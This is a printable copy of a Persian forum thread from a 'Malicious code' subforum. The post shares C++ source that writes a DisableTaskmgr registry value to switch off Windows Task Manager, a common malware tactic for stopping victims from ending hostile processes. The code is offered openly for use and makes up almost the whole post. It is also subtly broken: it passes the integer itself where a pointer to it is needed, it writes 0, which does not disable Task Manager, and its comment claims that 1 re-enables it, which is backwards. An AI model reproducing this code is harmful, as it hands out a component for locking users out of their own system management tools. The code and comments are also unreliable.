Parsi Coders
سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) - نسخه قابل چاپ

+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Security and influence (http://parsicoders.com/forumdisplay.php?fid=59)
+--- انجمن: Influence (http://parsicoders.com/forumdisplay.php?fid=61)
+---- انجمن: Malicious code (http://parsicoders.com/forumdisplay.php?fid=62)
+---- موضوع: سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) (/showthread.php?tid=1468)



سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) - Amin_Mansouri - 01-10-2012

کد:
//**************************************
// Name: Disable Taskmanager
// Description:Disables Taskmanager
// By: newhen
//
// Assumes:Dont use it if you dont know what your doing.
//
// Side Effects:Disables Taskmanager
//
//This code is copyrighted and has// limited warranties.Please see http://www.Planet-Source-Code.com/vb/scripts/ShowCode.asp?txtCodeId=11882&lngWId=3//for details.//**************************************

/* newhen's Disable Taskmanager code
Basicly goes into the registry sets new key disableTaskmgr
To enable it change the value to 1 after disabletaskmgr
Thanks Korupt, For fixing it.
Btw This is basicly my first usefull program or one I have done from scratch
*/
// Fixed version of newhens app by KOrUPt...
#include <windows.h>
int main()
{
int iVal = 0;
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\",0,KEY_ALL_ACCESS, &hKey);
RegSetValueEx (hKey, "DisableTaskmgr", 0, REG_DWORD, (LPBYTE)iVal, sizeof(iVal));
RegCloseKey(hKey);

return 0;
}